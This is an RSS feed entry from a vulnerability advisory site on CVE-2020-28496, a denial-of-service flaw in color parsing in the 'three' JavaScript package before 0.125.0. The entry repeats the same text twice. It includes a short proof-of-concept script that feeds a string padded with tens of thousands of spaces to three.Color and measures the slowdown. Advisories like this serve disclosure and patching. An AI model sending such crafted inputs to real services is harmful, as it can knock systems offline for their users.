https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Fri, 16 Oct 2026 23:40:56 +0000 https://cve.radiocsirt.org/vuln/cve-2020-28496 <p><strong>Affected:</strong> three</p> <p>This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require(&#39;three&#39;) function build_blank (n) { var ret = &#34;rgb(&#34; for (var i = 0; i &lt; n; i++) { ret += &#34; &#34; } return ret + &#34;&#34;; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+&#34; ms&#34;)</p> <p><strong>Affected:</strong> three</p> <p>This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require(&#39;three&#39;) function build_blank (n) { var ret = &#34;rgb(&#34; for (var i = 0; i &lt; n; i++) { ret += &#34; &#34; } return ret + &#34;&#34;; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+&#34; ms&#34;)</p> https://cve.radiocsirt.org/vuln/cve-2020-28496